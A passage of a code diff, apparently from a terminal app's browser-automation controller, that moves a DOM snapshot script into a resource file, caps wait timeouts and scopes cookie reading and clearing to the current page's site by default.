WKWebView, frameSelector: String?)? + let setup = v2BrowserWithPanel(params: params) { _, ws, surfaceId, browserPanel in + target = (ws.id, surfaceId, browserPanel.webView, v2BrowserCurrentFrameSelector(surfaceId: surfaceId)) + return .ok([:]) + } + guard let target else { return setup } + switch v2RunBrowserJavaScript( + target.webView, + surfaceId: target.surfaceId, + script: script, + timeout: 10.0, + frameSelector: .some(target.frameSelector) + ) { + case .failure(let message): + return .err(code: "js_error", message: message, data: nil) + case .success(let value): + return .ok([ + "workspace_id": target.workspaceId.uuidString, + "workspace_ref": v2Ref(kind: .workspace, uuid: target.workspaceId), + "surface_id": target.surfaceId.uuidString, + "surface_ref": v2Ref(kind: .surface, uuid: target.surfaceId), + "value": v2NormalizeJSValue(value) + ]) } } + /// Collector body bundled as Resources/programa-browser-snapshot.js; loaded once. + nonisolated static let v2BrowserSnapshotScriptBody: String? = { + guard let url = Bundle.main.url(forResource: "programa-browser-snapshot", withExtension: "js"), + let body = try? String(contentsOf: url, encoding: .utf8) else { + assertionFailure("programa-browser-snapshot.js missing from the app bundle") + return nil + } + return body + }() + func v2BrowserSnapshotJavaScript( interactiveOnly: Bool, includeCursor: Bool, @@ -2500,702 +2577,7 @@ extension TerminalController { const __voidTags = new Set(['area','base','br','col','embed','hr','img','input','link','meta','param','source','track','wbr']); const __rawTextTags = new Set(['script','style','xmp','iframe','noembed','noframes','plaintext']); const __nonContentTextTags = new Set(['script','style','noscript','template']); - - const __byteWidth = (codePoint) => codePoint <= 0x7f ? 1 : codePoint <= 0x7ff ? 2 : codePoint <= 0xffff ? 3 : 4; - const __boundedUTF8 = (input, limit, normalizeWhitespace = false) => { - const source = String(input == null ? '' : input); - let value = ''; - let bytes = 0; - let truncated = false; - let pendingSpace = false; - let inspected = 0; - for (const character of source) { - inspected += 1; - if (normalizeWhitespace && inspected > (limit * 4 + 256)) { - truncated = true; - break; - } - if (normalizeWhitespace && /\\s/u.test(character)) { - if (value) pendingSpace = true; - continue; - } - const width = __byteWidth(character.codePointAt(0)); - const spaceWidth = pendingSpace ? 1 : 0; - if (bytes + spaceWidth + width > limit) { - truncated = true; - break; - } - if (pendingSpace) { - value += ' '; - bytes += 1; - pendingSpace = false; - } - value += character; - bytes += width; - } - return { value, bytes, truncated }; - }; - const __htmlLocalName = (element, byteLimit = 64) => { - if (!element || element.namespaceURI !== __htmlNamespace) return null; - const bounded = __boundedUTF8(element.localName || '', byteLimit); - if (!bounded.value || bounded.truncated) return null; - return bounded.value.toLowerCase(); - }; - - const __title = __boundedUTF8(document.title || '', __titleByteLimit); - const __url = __boundedUTF8(document.location?.href || '', __urlByteLimit); - if (__title.truncated) __reasons.add('title_byte_limit'); - if (__url.truncated) __reasons.add('url_byte_limit'); - - let __root = document.body || document.documentElement; - let __scoped = false; - if (__scopeSelector) { - try { - const boundedScope = __boundedUTF8(__scopeSelector, __selectorByteLimit); - if (!boundedScope.truncated && boundedScope.value) { - const scopedRoot = document.querySelector(boundedScope.value); - if (scopedRoot) { - __root = scopedRoot; - __scoped = true; - } - } - } catch (_) {} - } - const __serializationRoot = __scoped ? __root : (document.documentElement || __root); - const __entries = []; - const __seenSelectors = new Set(); - const __pathByElement = new WeakMap(); - const __elementChildrenSeenByParent = new WeakMap(); - let __entryBytes = 0; - let __visitedNodes = 0; - let __workNodes = 0; - let __nodeBudgetExhausted = false; - let __selectorSkippedCount = 0; - let __nameTruncatedCount = 0; - let __roleSkippedCount = 0; - let __stop = false; - let __scopeDepth = __scoped ? 0 : null; - let __scopeActive = __scoped; - - const __chargeNodeWork = () => { - if (__workNodes >= __nodeLimit) { - __nodeBudgetExhausted = true; - __reasons.add('node_limit'); - return false; - } - __workNodes += 1; - return true; - }; - - let __text = ''; - let __textTruncated = false; - let __textInspectedUnits = 0; - let __textInspectionExhausted = false; - let __textAuthoredWhitespace = false; - let __textSeparatorRequested = false; - let __textOutputStopped = false; - const __markTextInspectionExhausted = () => { - __textInspectionExhausted = true; - __textTruncated = true; - __reasons.add('text_inspection_limit'); - }; - const __inspectTextSource = (value, consume) => { - if (__textInspectionExhausted || value == null) return { truncated: __textInspectionExhausted, stopped: false }; - const source = String(value); - let index = 0; - while (index < source.length) { - const codePoint = source.codePointAt(index); - const character = String.fromCodePoint(codePoint); - const units = character.length; - if (__textInspectedUnits > __textInspectionLimit - units) { - __markTextInspectionExhausted(); - return { truncated: true, stopped: false }; - } - __textInspectedUnits += units; - index += units; - if (consume(character) === false) return { truncated: false, stopped: true }; - } - return { truncated: false, stopped: false }; - }; - const __requestTextSeparator = () => { - if (__text) __textSeparatorRequested = true; - }; - const __appendText = (value) => { - if (__textOutputStopped || __textInspectionExhausted || !value) return; - __inspectTextSource(value, (character) => { - if (/\\s/u.test(character)) { - if (__text) __textAuthoredWhitespace = true; - return true; - } - const needsSpace = __text && (__textAuthoredWhitespace || __textSeparatorRequested); - const required = character.length + (needsSpace ? 1 : 0); - if (__text.length > __textLimit - required) { - __textTruncated = true; - __textOutputStopped = true; - return false; - } - if (needsSpace) __text += ' '; - __text += character; - __textAuthoredWhitespace = false; - __textSeparatorRequested = false; - return true; - }); - }; - - let __html = ''; - let __htmlTruncated = false; - let __htmlStopped = false; - let __attributeCount = 0; - const __appendHTML = (value) => { - if (__htmlStopped || !value) return; - const remaining = __htmlLimit - __html.length; - if (remaining <= 0) { __htmlTruncated = true; __htmlStopped = true; return; } - const source = String(value); - __html += source.slice(0, remaining); - if (source.length > remaining) { __htmlTruncated = true; __htmlStopped = true; } - }; - const __appendEscapedHTML = (value, attribute) => { - if (__htmlStopped) return; - const source = String(value == null ? '' : value); - const remaining = Math.max(0, __htmlLimit - __html.length); - const probe = source.slice(0, remaining + 1); - const needsEscaping = attribute ? /[&<>\"]/u.test(probe) : /[&<>]/u.test(probe); - if (!needsEscaping) { - __appendHTML(source); - return; - } - for (const character of source) { - let escaped = character; - if (character === '&') escaped = '&'; - else if (character === '<') escaped = '<'; - else if (character === '>') escaped = '>'; - else if (attribute && character === '"') escaped = '"'; - __appendHTML(escaped); - if (__htmlStopped) return; - } - }; - const __appendBoundedHTMLName = (rawName, lowercase) => { - if (__htmlStopped) return; - const remaining = __htmlLimit - __html.length; - if (remaining <= 0) { __htmlTruncated = true; __htmlStopped = true; return; } - const source = String(rawName || ''); - const boundedSource = source.slice(0, remaining + 1); - __appendHTML(lowercase ? boundedSource.toLowerCase() : boundedSource); - if (!__htmlStopped && source.length > boundedSource.length) { - __htmlTruncated = true; - __htmlStopped = true; - } - }; - const __descriptorByElement = new WeakMap(); - const __elementDescriptor = (element) => { - const cached = __descriptorByElement.get(element); - if (cached) return cached; - const isHTML = element.namespaceURI === __htmlNamespace; - const local = __boundedUTF8(element.localName || '', 64); - const descriptor = { - isHTML, - semanticLocal: isHTML && !local.truncated ? local.value.toLowerCase() : null, - prefix: element.prefix || '', - localName: element.localName || '' - }; - __descriptorByElement.set(element, descriptor); - return descriptor; - }; - const __appendElementName = (element) => { - const descriptor = __elementDescriptor(element); - if (descriptor.prefix) { - __appendBoundedHTMLName(descriptor.prefix, false); - __appendHTML(':'); - } - __appendBoundedHTMLName(descriptor.localName, descriptor.isHTML); - }; - const __appendAttributeName = (attribute) => { - if (attribute.prefix) { - __appendBoundedHTMLName(attribute.prefix, false); - __appendHTML(':'); - __appendBoundedHTMLName(attribute.localName, false); - } else { - __appendBoundedHTMLName(attribute.name || attribute.localName, false); - } - }; - const __appendOpenTag = (element) => { - if (__htmlStopped) return; - __appendHTML('<'); - __appendElementName(element); - if (__htmlStopped) return; - const attributes = element.attributes; - for (let index = 0; index < attributes.length; index += 1) { - if (__attributeCount >= __attributeLimit) { - __htmlTruncated = true; - __htmlStopped = true; - return; - } - __attributeCount += 1; - const attribute = attributes.item(index); - if (!attribute) continue; - __appendHTML(' '); - __appendAttributeName(attribute); - __appendHTML('='); - __appendHTML('\"'); - __appendEscapedHTML(attribute.value, true); - __appendHTML('\"'); - if (__htmlStopped) return; - } - __appendHTML('>'); - }; - const __appendCloseTag = (element) => { - if (__htmlStopped) return; - const descriptor = __elementDescriptor(element); - if (descriptor.isHTML && descriptor.semanticLocal && __voidTags.has(descriptor.semanticLocal)) return; - __appendHTML('<'); - __appendHTML('/'); - __appendElementName(element); - if (!__htmlStopped) __appendHTML('>'); - }; - - const __implicitRole = (element) => { - const tag = __htmlLocalName(element, 64); - if (!tag) return null; - if (tag === 'button' || tag === 'summary') return 'button'; - if (tag === 'a' && element.hasAttribute('href')) return 'link'; - if (tag === 'input') { - const type = __boundedUTF8(element.getAttribute('type') || 'text', 32, true).value.toLowerCase(); - if (type === 'checkbox') return 'checkbox'; - if (type === 'radio') return 'radio'; - if (type === 'submit' || type === 'button' || type === 'reset') return 'button'; - return 'textbox'; - } - if (tag === 'textarea') return 'textbox'; - if (tag === 'select') return 'combobox'; - if (/^h[1-6]$/.test(tag)) return 'heading'; - if (tag === 'li') return 'listitem'; - return null; - }; - const __styleByElement = new WeakMap(); - const __computedStyleFor = (element) => { - if (__styleByElement.has(element)) return __styleByElement.get(element); - try { - const view = element.ownerDocument?.defaultView; - const style = view?.getComputedStyle ? view.getComputedStyle(element) : null; - __styleByElement.set(element, style); - return style; - } catch (_) { - __styleByElement.set(element, null); - return null; - } - }; - const __isVisible = (element) => { - try { - const style = __computedStyleFor(element); - const rect = element.getBoundingClientRect(); - return !!style && !!rect && rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden' && parseFloat(style.opacity || '1') > 0.01; - } catch (_) { return false; } - }; - const __cursorEligible = (element) => { - if (!__includeCursor) return false; - try { - const style = __computedStyleFor(element); - const tabIndex = element.getAttribute('tabindex'); - return typeof element.onclick === 'function' || element.hasAttribute('onclick') || style?.cursor === 'pointer' || (tabIndex != null && String(tabIndex) !== '-1'); - } catch (_) { return false; } - }; - const __isRenderedBlock = (element) => { - const tag = __htmlLocalName(element, 64); - if (tag === 'br') return true; - const display = __computedStyleFor(element)?.display || ''; - return !!display && display !== 'none' && display !== 'contents' && !display.startsWith('inline'); - }; - const __isOwnTextSuppressed = (element, ignoreHidden = false) => { - const tag = __htmlLocalName(element, 64); - if (tag && __nonContentTextTags.has(tag)) return true; - if (ignoreHidden) return false; - if (element.hidden || element.hasAttribute('hidden')) return true; - const ariaHidden = __boundedUTF8(element.getAttribute('aria-hidden') || '', 16, true).value.toLowerCase(); - if (ariaHidden === 'true') return true; - const style = __computedStyleFor(element); - return style?.display === 'none' || style?.visibility === 'hidden' || style?.visibility === 'collapse'; - }; - const __templateHostByContent = new WeakMap(); - const __textSuppressedByElement = new WeakMap(); - const __updateTextSuppression = (element) => { - const domParent = element.parentNode; - const logicalParent = __templateHostByContent.get(domParent) || domParent; - const parentSuppressed = logicalParent ? (__textSuppressedByElement.get(logicalParent) || false) : false; - const suppressed = parentSuppressed || __isOwnTextSuppressed(element); - __textSuppressedByElement.set(element, suppressed); - return suppressed; - }; - - const __createNameSink = () => ({ - value: '', bytes: 0, pendingWhitespace: false, separatorRequested: false, - truncated: false, stopped: false - }); - const __appendNameCharacter = (sink, character) => { - if (sink.stopped) return false; - if (/\\s/u.test(character)) { - if (sink.value) sink.pendingWhitespace = true; - return true; - } - const needsSpace = sink.value && (sink.pendingWhitespace || sink.separatorRequested); - const width = __byteWidth(character.codePointAt(0)); - const required = width + (needsSpace ? 1 : 0); - if (sink.bytes > __nameByteLimit - required) { - sink.truncated = true; - sink.stopped = true; - return false; - } - if (needsSpace) { sink.value += ' '; sink.bytes += 1; } - sink.value += character; - sink.bytes += width; - sink.pendingWhitespace = false; - sink.separatorRequested = false; - return true; - }; - const __appendNameSource = (sink, value) => { - if (sink.stopped || !value) return; - const inspected = __inspectTextSource(value, (character) => __appendNameCharacter(sink, character)); - if (inspected.truncated) return; - }; - const __mergeNameValue = (sink, result) => { - if (!result.value) { - if (result.truncated) sink.truncated = true; - return; - } - if (sink.value) sink.separatorRequested = true; - for (const character of result.value) { - if (!__appendNameCharacter(sink, character)) break; - } - if (result.truncated) sink.truncated = true; - }; - const __nameContentCache = new WeakMap(); - const __explicitLabelContentCache = new WeakMap(); - const __walkNameContent = (root, includeHiddenSubtree) => { - const cache = includeHiddenSubtree ? __explicitLabelContentCache : __nameContentCache; - const cached = cache.get(root); - if (cached) return cached; - const sink = __createNameSink(); - const suppressedByElement = new WeakMap(); - let node = root; - while (node) { - if (!__chargeNodeWork()) break; - let suppressed = false; - if (node.nodeType === Node.ELEMENT_NODE) { - const parentSuppressed = node === root ? false : (suppressedByElement.get(node.parentElement) || false); - suppressed = parentSuppressed || __isOwnTextSuppressed(node, includeHiddenSubtree); - suppressedByElement.set(node, suppressed); - if (!suppressed && __isRenderedBlock(node)) sink.separatorRequested = !!sink.value; - } else if (node.nodeType === Node.TEXT_NODE) { - suppressed = suppressedByElement.get(node.parentElement) || false; - if (!suppressed) __appendNameSource(sink, node.nodeValue || ''); - } - - const descend = node.nodeType === Node.ELEMENT_NODE && !suppressed && !!node.firstChild; - if (descend) { - node = node.firstChild; - continue; - } - while (node) { - if (node.nodeType === Node.ELEMENT_NODE - && !(suppressedByElement.get(node) || false) - && __isRenderedBlock(node) - && sink.value) { - sink.separatorRequested = true; - } - if (node === root) { node = null; break; } - if (node.nextSibling) { node = node.nextSibling; break; } - node = node.parentNode; - } - } - const result = { value: sink.value, bytes: sink.bytes, truncated: sink.truncated }; - cache.set(root, result); - return result; - }; - const __boundedNameSource = (value) => __boundedUTF8(value || '', __nameByteLimit, true); - const __nameFor = (element) => { - let result = null; - let discoveryTruncated = false; - const labelledBy = __boundedUTF8(element.getAttribute('aria-labelledby') || '', 256, true); - if (labelledBy.value) { - const combined = __createNameSink(); - const resolvedLabels = new Set(); - let count = 0; - for (const id of labelledBy.value.split(' ')) { - if (!id) continue; - if (count >= 16) { combined.truncated = true; break; } - count += 1; - const labelled = element.ownerDocument?.getElementById(id); - if (!labelled || resolvedLabels.has(labelled)) continue; - resolvedLabels.add(labelled); - __mergeNameValue(combined, __walkNameContent(labelled, true)); - if (combined.stopped || __nodeBudgetExhausted) break; - } - discoveryTruncated = labelledBy.truncated || combined.truncated; - if (combined.value) result = { value: combined.value, bytes: combined.bytes, truncated: combined.truncated }; - } else { - discoveryTruncated = labelledBy.truncated; - } - if (!result) { - const ariaLabel = __boundedNameSource(element.getAttribute('aria-label') || ''); - if (ariaLabel.value) result = ariaLabel; - discoveryTruncated = discoveryTruncated || ariaLabel.truncated; - } - const tag = __htmlLocalName(element, 64); - if (!result && (tag === 'input' || tag === 'textarea')) { - const hostName = __boundedNameSource(element.getAttribute('placeholder') || element.value || ''); - if (hostName.value) result = hostName; - discoveryTruncated = discoveryTruncated || hostName.truncated; - } - if (!result) { - const titleName = __boundedNameSource(element.getAttribute('title') || ''); - if (titleName.value) result = titleName; - discoveryTruncated = discoveryTruncated || titleName.truncated; - } - if (!result) result = __walkNameContent(element, false); - if (result.truncated || discoveryTruncated) { - __nameTruncatedCount += 1; - __reasons.add('name_byte_limit'); - } - return result; - }; - - const __buildScopedRootPath = (element) => { - const documentElement = element.ownerDocument?.documentElement; - let current = element; - let suffix = ''; - while (current) { - if (!__chargeNodeWork()) return null; - if (current === documentElement) { - const complete = __boundedUTF8(':root' + suffix, __selectorByteLimit); - return complete.truncated ? null : complete.value; - } - const parent = current.parentElement; - if (!parent) return null; - let ordinal = 1; - let sibling = current.previousElementSibling; - while (sibling) { - if (!__chargeNodeWork()) return null; - ordinal += 1; - sibling = sibling.previousElementSibling; - } - const candidate = ' > :nth-child(' + ordinal + ')' + suffix; - if (__boundedUTF8(candidate, __selectorByteLimit).truncated) return null; - suffix = candidate; - current = parent; - } - return null; - }; - let __scopedPathAvailable = !__scoped; - if (__scoped) { - const scopedPath = __buildScopedRootPath(__root); - if (scopedPath) { - __pathByElement.set(__root, scopedPath); - __scopedPathAvailable = true; - } - } - const __recordStructuralPath = (element) => { - const existing = __pathByElement.get(element); - if (existing) return existing; - if (__scoped && element === __root && !__scopedPathAvailable) return null; - if (element === element.ownerDocument?.documentElement) { - __pathByElement.set(element, ':root'); - return ':root'; - } - const parent = element.parentElement; - if (!parent) return null; - const ordinal = (__elementChildrenSeenByParent.get(parent) || 0) + 1; - __elementChildrenSeenByParent.set(parent, ordinal); - const parentPath = __pathByElement.get(parent); - if (!parentPath) return null; - const candidate = parentPath + ' > :nth-child(' + ordinal + ')'; - const bounded = __boundedUTF8(candidate, __selectorByteLimit); - if (bounded.truncated) return null; - __pathByElement.set(element, bounded.value); - return bounded.value; - }; - const __selectorFor = (element) => { - const structural = __pathByElement.get(element) || null; - const rawId = element.id || ''; - if (rawId) { - const rawBound = __boundedUTF8(rawId, __selectorByteLimit); - if (rawBound.truncated) return { selector: null, oversized: true }; - try { - const escapedValue = __boundedUTF8(CSS.escape(rawBound.value), __selectorByteLimit - 1); - if (escapedValue.truncated) return { selector: null, oversized: true }; - const escaped = '#' + escapedValue.value; - if (element.ownerDocument?.querySelector(escaped) === element) { - return { selector: escaped, oversized: false }; - } - } catch (_) {} - } - return { selector: structural, oversized: !structural }; - }; - - const __appendEntry = (element, depth) => { - if (!__isVisible(element)) return; - const cursorEligible = __cursorEligible(element); - const explicitRaw = element.getAttribute('role') || ''; - const explicitBounded = __boundedUTF8(explicitRaw, __roleByteLimit, true); - const explicitValue = explicitBounded.value.toLowerCase(); - const explicitRole = !explicitBounded.truncated && __allowedRoles.has(explicitValue) ? explicitValue : null; - const implicitRole = __implicitRole(element); - let role = explicitRole || implicitRole || (cursorEligible ? 'generic' : null); - if (!role) { - if (explicitRaw) { __roleSkippedCount += 1; __reasons.add('role_byte_limit'); } - return; - } - if (__interactiveOnly && !__interactiveRoles.has(role) && !cursorEligible) return; - if (!__interactiveOnly && !__interactiveRoles.has(role) && !__contentRoles.has(role) && !cursorEligible) return; - const selectorResult = __selectorFor(element); - if (!selectorResult.selector) { - if (selectorResult.oversized) { __selectorSkippedCount += 1; __reasons.add('selector_byte_limit'); } - return; - } - const name = __nameFor(element); - if (__compact && role === 'generic' && !name.value) return; - const selector = selectorResult.selector; - if (__seenSelectors.has(selector)) return; - if (__entries.length >= __entryLimit) { __reasons.add('entry_limit'); __stop = true; return; } - const candidateBytes = __boundedUTF8(selector, __selectorByteLimit).bytes + name.bytes + __boundedUTF8(role, __roleByteLimit).bytes; - if (candidateBytes > __entryByteLimit - __entryBytes) { __reasons.add('entry_byte_limit'); __stop = true; return; } - __seenSelectors.add(selector); - __entryBytes += candidateBytes; - __entries.push({ selector, role, name: name.value, depth }); - }; - - const __firstTraversalChild = (node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - const descriptor = __elementDescriptor(node); - if (descriptor.isHTML && descriptor.semanticLocal === 'template') { - const content = node.content; - if (content) { - __templateHostByContent.set(content, node); - __textSuppressedByElement.set( - content, - __textSuppressedByElement.get(node) || false - ); - return content.firstChild; - } - } - } - return node.firstChild; - }; - const __traversalParent = (node) => { - const domParent = node.parentNode; - return __templateHostByContent.get(domParent) || domParent; - }; - - let __node = __serializationRoot; - let __depth = 0; - while (__node && !__stop) { - if (!__chargeNodeWork()) { - __textTruncated = true; - __htmlTruncated = true; - break; - } - __visitedNodes += 1; - const isElement = __node.nodeType === Node.ELEMENT_NODE; - if (__node === __root) { - __scopeDepth = __depth; - __scopeActive = true; - } - const inScope = __scopeActive; - const relativeDepth = __scopeDepth == null ? 0 : __depth - __scopeDepth; - let textSuppressed = false; - if (isElement) { - textSuppressed = __updateTextSuppression(__node); - __appendOpenTag(__node); - __recordStructuralPath(__node); - } - else if (__node.nodeType === Node.TEXT_NODE) { - const parentDescriptor = __node.parentElement ? __elementDescriptor(__node.parentElement) : null; - if (parentDescriptor?.isHTML - && parentDescriptor.semanticLocal - && __rawTextTags.has(parentDescriptor.semanticLocal)) { - __appendHTML(__node.nodeValue || ''); - } - else __appendEscapedHTML(__node.nodeValue || '', false); - } else if (__node.nodeType === Node.COMMENT_NODE) { - __appendHTML(''); - } - - if (inScope) { - if (isElement && !textSuppressed) { - if (__isRenderedBlock(__node)) __requestTextSeparator(); - } - if (__node.nodeType === Node.TEXT_NODE) { - const domParent = __node.parentNode; - const parent = __templateHostByContent.get(domParent) || domParent; - if (!parent || !(__textSuppressedByElement.get(parent) || false)) { - __appendText(__node.nodeValue || ''); - } - } - if (isElement && relativeDepth <= __maxDepth) __appendEntry(__node, relativeDepth); - if (__stop || __nodeBudgetExhausted) { - __textTruncated = true; - __htmlTruncated = true; - break; - } - } - - const firstChild = __firstTraversalChild(__node); - let descend = !!firstChild; - if (inScope && relativeDepth >= __maxDepth && descend) { - descend = false; - __textTruncated = true; - __htmlTruncated = true; - __htmlStopped = true; - } - if (descend) { - __node = firstChild; - __depth += 1; - continue; - } - while (__node) { - if (__node.nodeType === Node.ELEMENT_NODE) { - const closingSuppressed = __textSuppressedByElement.get(__node) || false; - if (__scopeActive && !closingSuppressed && __isRenderedBlock(__node)) { - __requestTextSeparator(); - } - __appendCloseTag(__node); - if (__node === __root) __scopeActive = false; - } - if (__node === __serializationRoot) { __node = null; break; } - if (__node.nextSibling) { __node = __node.nextSibling; break; } - __node = __traversalParent(__node); - __depth -= 1; - } - } - - const __truncationReasons = __reasonOrder.filter((reason) => __reasons.has(reason)); - return { - title: __title.value, - url: __url.value, - ready_state: String(document.readyState || ''), - text: __text, - html: __html, - entries: __entries, - truncated: __truncationReasons.length > 0 || __textTruncated || __htmlTruncated, - truncation_reasons: __truncationReasons, - element_limit: __entryLimit, - node_limit: __nodeLimit, - visited_nodes: __visitedNodes, - text_inspection_limit: __textInspectionLimit, - text_inspected_units: __textInspectedUnits, - entry_byte_limit: __entryByteLimit, - entry_bytes: __entryBytes, - selector_byte_limit: __selectorByteLimit, - selector_skipped_count: __selectorSkippedCount, - name_byte_limit: __nameByteLimit, - name_truncated_count: __nameTruncatedCount, - role_byte_limit: __roleByteLimit, - role_skipped_count: __roleSkippedCount, - title_byte_limit: __titleByteLimit, - url_byte_limit: __urlByteLimit, - text_truncated: __textTruncated, - html_truncated: __htmlTruncated - }; + \(Self.v2BrowserSnapshotScriptBody ?? "throw new Error('snapshot script missing');") })() """ } @@ -3207,6 +2589,9 @@ extension TerminalController { let maxDepth = min(64, max(0, v2Int(params, "max_depth") ?? v2Int(params, "maxDepth") ?? 12)) let scopeSelector = v2String(params, "selector") + guard Self.v2BrowserSnapshotScriptBody != nil else { + return .err(code: "internal_error", message: "snapshot script missing", data: nil) + } return v2BrowserWithPanel(params: params) { _, ws, surfaceId, browserPanel in let script = v2BrowserSnapshotJavaScript( interactiveOnly: interactiveOnly, @@ -3330,7 +2715,7 @@ extension TerminalController { } func v2BrowserWait(params: [String: Any]) -> V2CallResult { - let timeoutMs = max(1, v2Int(params, "timeout_ms") ?? 5_000) + let timeoutMs = min(Self.v2BrowserMaxTimeoutMs, max(1, v2Int(params, "timeout_ms") ?? 5_000)) let selectorRaw = v2BrowserSelector(params) // A `function` condition is page script (like browser.eval), so it must see page globals. @@ -3368,7 +2753,11 @@ extension TerminalController { var workspaceId: UUID? var surfaceIdOut: UUID? var webView: WKWebView? + var resolvedSelector: String? + var frameSelector: String? + // Element refs and the frame selection are main-thread state: resolve both here and + // hand plain values to the off-main wait below. v2MainSync { guard let tabManager = self.v2ResolveTabManager(params: params) else { setupResult = .err(code: "unavailable", message: "TabManager not available", data: nil) @@ -3387,9 +2776,17 @@ extension TerminalController { setupResult = .err(code: "invalid_params", message: "Surface is not a browser", data: ["surface_id": surfaceId.uuidString]) return } + if let selectorRaw { + guard let selector = self.v2BrowserResolveSelector(selectorRaw, surfaceId: surfaceId) else { + setupResult = self.v2BrowserSelectorResolutionError(selectorRaw, surfaceId: surfaceId) + return + } + resolvedSelector = selector + } workspaceId = ws.id surfaceIdOut = surfaceId webView = browserPanel.webView + frameSelector = self.v2BrowserCurrentFrameSelector(surfaceId: surfaceId) } if let setupResult { @@ -3399,23 +2796,16 @@ extension TerminalController { return .err(code: "internal_error", message: "Failed to resolve browser surface", data: nil) } - let conditionScript: String - if let selectorRaw { - guard let selector = v2BrowserResolveSelector(selectorRaw, surfaceId: surfaceIdOut) else { - return v2BrowserSelectorResolutionError(selectorRaw, surfaceId: surfaceIdOut) - } - let literal = v2JSONLiteral(selector) - conditionScript = "document.querySelector(\(literal)) !== null" - } else { - conditionScript = conditionScriptBase - } + let conditionScript = resolvedSelector.map { "document.querySelector(\(v2JSONLiteral($0))) !== null" } + ?? conditionScriptBase if v2WaitForBrowserCondition( webView, surfaceId: surfaceIdOut, conditionScript: conditionScript, timeoutMs: timeoutMs, - pageWorld: conditionRunsInPageWorld + pageWorld: conditionRunsInPageWorld, + frameSelector: .some(frameSelector) ) { return .ok([ "workspace_id": workspaceId.uuidString, @@ -4018,7 +3408,8 @@ extension TerminalController { browserPanel.webView, surfaceId: surfaceId, script: script, - useEval: false + useEval: false, + allowsPageWorldRetry: true ) { case .failure(let message): return .err(code: "js_error", message: message, data: nil) @@ -4796,7 +4187,8 @@ extension TerminalController { browserPanel.webView, surfaceId: surfaceId, script: script, - useEval: false + useEval: false, + allowsPageWorldRetry: true ) { case .failure(let message): return .err(code: "js_error", message: message, data: nil) @@ -4965,7 +4357,8 @@ extension TerminalController { } nonisolated func v2BrowserDownloadWait(params: [String: Any]) -> V2CallResult { - let timeoutMs = max(1, v2Int(params, "timeout_ms") ?? v2Int(params, "timeout") ?? 10_000) + let requestedTimeoutMs = v2Int(params, "timeout_ms") ?? v2Int(params, "timeout") ?? 10_000 + let timeoutMs = min(Self.v2BrowserMaxTimeoutMs, max(1, requestedTimeoutMs)) let timeout = Double(timeoutMs) / 1000.0 guard let path = v2String(params, "path") else { return v2BrowserWithPanel(params: params) { _, ws, surfaceId, _ in @@ -5092,61 +4485,44 @@ extension TerminalController { } ?? false } - func v2BrowserCookieFromObject(_ raw: [String: Any], fallbackURL: URL?) -> HTTPCookie? { - var props: [HTTPCookiePropertyKey: Any] = [:] - if let name = raw["name"] as? String { - props[.name] = name - } - if let value = raw["value"] as? String { - props[.value] = value - } - - if let urlStr = raw["url"] as? String, let url = URL(string: urlStr) { - props[.originURL] = url - } else if let fallbackURL { - props[.originURL] = fallbackURL - } - - if let domain = raw["domain"] as? String { - props[.domain] = domain - } else if let host = fallbackURL?.host { - props[.domain] = host - } - - if let path = raw["path"] as? String { - props[.path] = path - } else { - props[.path] = "/" - } - - if let secure = raw["secure"] as? Bool, secure { - props[.secure] = "TRUE" + /// `domain` filter: exact host or dot-suffix, so `example.com` matches `a.example.com` + /// but not `notexample.com`. Leading dots and case are ignored on both sides. + nonisolated static func v2BrowserCookieDomainMatches(_ cookieDomain: String, filter: String) -> Bool { + func normalized(_ value: String) -> String { + var out = value.lowercased() + while out.hasPrefix(".") { out.removeFirst() } + return out } - if let expires = raw["expires"] as? TimeInterval { - props[.expires] = Date(timeIntervalSince1970: expires) - } else if let expiresInt = raw["expires"] as? Int { - props[.expires] = Date(timeIntervalSince1970: TimeInterval(expiresInt)) + let domain = normalized(cookieDomain) + let wanted = normalized(filter) + guard !domain.isEmpty, !wanted.isEmpty else { return false } + return domain == wanted || domain.hasSuffix("." + wanted) + } + + /// Cookie scope shared by get and clear: the current page's site unless `all_domains` + /// (or clear's legacy `all`) widens it; `name`, `domain` and `path` narrow it further. + func v2BrowserScopedCookies(_ cookies: [HTTPCookie], params: [String: Any], pageHost: String) -> [HTTPCookie] { + let allDomains = v2Bool(params, "all_domains") ?? v2Bool(params, "all") ?? false + let name = v2String(params, "name") + let domain = v2String(params, "domain") + let path = v2String(params, "path") + return cookies.filter { cookie in + if !allDomains, !BrowserStateExport.cookieMatchesSite(cookie.domain, pageHost) { return false } + if let name, cookie.name != name { return false } + if let domain, !Self.v2BrowserCookieDomainMatches(cookie.domain, filter: domain) { return false } + if let path, cookie.path != path { return false } + return true } - - return HTTPCookie(properties: props) } func v2BrowserCookiesGet(params: [String: Any]) -> V2CallResult { return v2BrowserWithPanel(params: params) { _, ws, surfaceId, browserPanel in let store = browserPanel.webView.configuration.websiteDataStore.httpCookieStore - guard var cookies = v2BrowserCookieStoreAll(store) else { + guard let allCookies = v2BrowserCookieStoreAll(store) else { return .err(code: "timeout", message: "Timed out reading cookies", data: nil) } - - if let name = v2String(params, "name") { - cookies = cookies.filter { $0.name == name } - } - if let domain = v2String(params, "domain") { - cookies = cookies.filter { $0.domain.contains(domain) } - } - if let path = v2String(params, "path") { - cookies = cookies.filter { $0.path == path } - } + let pageHost = browserPanel.currentURL?.host ?? "" + let cookies = v2BrowserScopedCookies(allCookies, params: params, pageHost: pageHost) return .ok([ "workspace_id": ws.id.uuidString, @@ -5174,6 +4550,8 @@ extension TerminalController { if let domain = v2String(params, "domain") { single["domain"] = domain } if let path = v2String(params, "path") { single["path"] = path } if let secure = v2Bool(params, "secure") { single["secure"] = secure } + if let httpOnly = v2Bool(params, "http_only") { single["http_only"] = httpOnly } + if let sameSite = v2String(params, "same_site") { single["same_site"] = sameSite } if let expires = v2Int(params, "expires") { single["expires"] = expires } if !single.isEmpty { cookieObjects = [single] @@ -5186,7 +4564,8 @@ extension TerminalController { var setCount = 0 for raw in cookieObjects { - guard let cookie = v2BrowserCookieFromObject(raw, fallbackURL: fallbackURL) else { + guard let originURL = fallbackURL ?? (raw["url"] as? String).flatMap({ URL(string: $0) }), + let cookie = V2BrowserStateRestorer.makeCookie(from: raw, fallbackURL: originURL) else { return .err(code: "invalid_params", message: "Invalid cookie payload", data: ["cookie": raw]) } if v2BrowserCookieStoreSet(store, cookie: cookie) { @@ -5213,15 +4592,8 @@ extension TerminalController { return .err(code: "timeout", message: "Timed out reading cookies", data: nil) } - let name = v2String(params, "name") - let domain = v2String(params, "domain") - let clearAll 